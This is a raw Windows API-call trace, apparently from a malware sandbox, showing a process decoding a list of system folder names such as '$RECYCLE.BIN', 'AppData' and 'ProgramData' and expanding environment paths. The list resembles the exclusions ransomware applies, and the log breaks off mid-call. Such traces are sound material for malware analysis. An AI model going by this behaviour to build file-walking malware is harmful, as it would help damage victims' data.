RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd238) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc678) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd228) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc6c0) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd218) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc708) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd208) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc750) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1e8) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc798) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1f8) returned 1 [0260.317] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x435058) returned 1 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x435058 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1f8 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc798 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1e8 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc750 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd208 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc708 [0260.317] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd218 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc6c0 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd228 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc678 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd238 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc630 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd248 [0260.318] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5e8 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd298) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.318] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc08) returned 1 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efbc08 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.319] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc798) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1f8) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc750) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1e8) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc708) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd208) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc6c0) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd218) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc678) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd228) returned 1 [0260.319] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc630) returned 1 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd238) returned 1 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5e8) returned 1 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd248) returned 1 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x435058) returned 1 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdae0 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1f8, cbMultiByte=25, lpWideCharStr=0x1efdae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdb68 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdae0) returned 1 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd248 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdae0 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdb68) returned 1 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdb68 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc1b0, cbMultiByte=12, lpWideCharStr=0x1efdb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdbf0 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdb68) returned 1 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd238 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdb68 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdbf0) returned 1 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdbf0 [0260.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc168, cbMultiByte=8, lpWideCharStr=0x1efdbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0260.320] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdc78 [0260.320] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdbf0) returned 1 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd228 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdbf0 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdc78) returned 1 [0260.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdc78 [0260.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpWideCharStr=0x1efdc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdd00 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdc78) returned 1 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd218 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdc78 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdd00) returned 1 [0260.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdd00 [0260.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc240, cbMultiByte=11, lpWideCharStr=0x1efdd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdd88 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdd00) returned 1 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efdd00 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd208 [0260.321] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efde28 [0260.321] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdd88) returned 1 [0260.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdeb0 [0260.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpWideCharStr=0x1efdeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdf38 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdeb0) returned 1 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1e8 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdeb0 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdf38) returned 1 [0260.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdf38 [0260.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpWideCharStr=0x1efdf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdfc0 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdf38) returned 1 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1f8 [0260.322] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efdf38 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efdfc0) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd298) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.322] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc08) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x432850 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x432850 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.323] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.323] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd618 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2e8 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5e8 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.324] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.324] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd298) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5e8) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2e8) returned 1 [0260.325] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd618) returned 1 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd618 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2e8 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5e8 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.325] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.326] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.326] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.326] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.326] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.326] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x432850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=14, lpWideCharStr=0x1efdfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0260.327] ExpandEnvironmentStringsA (in: lpSrc="%windir%", 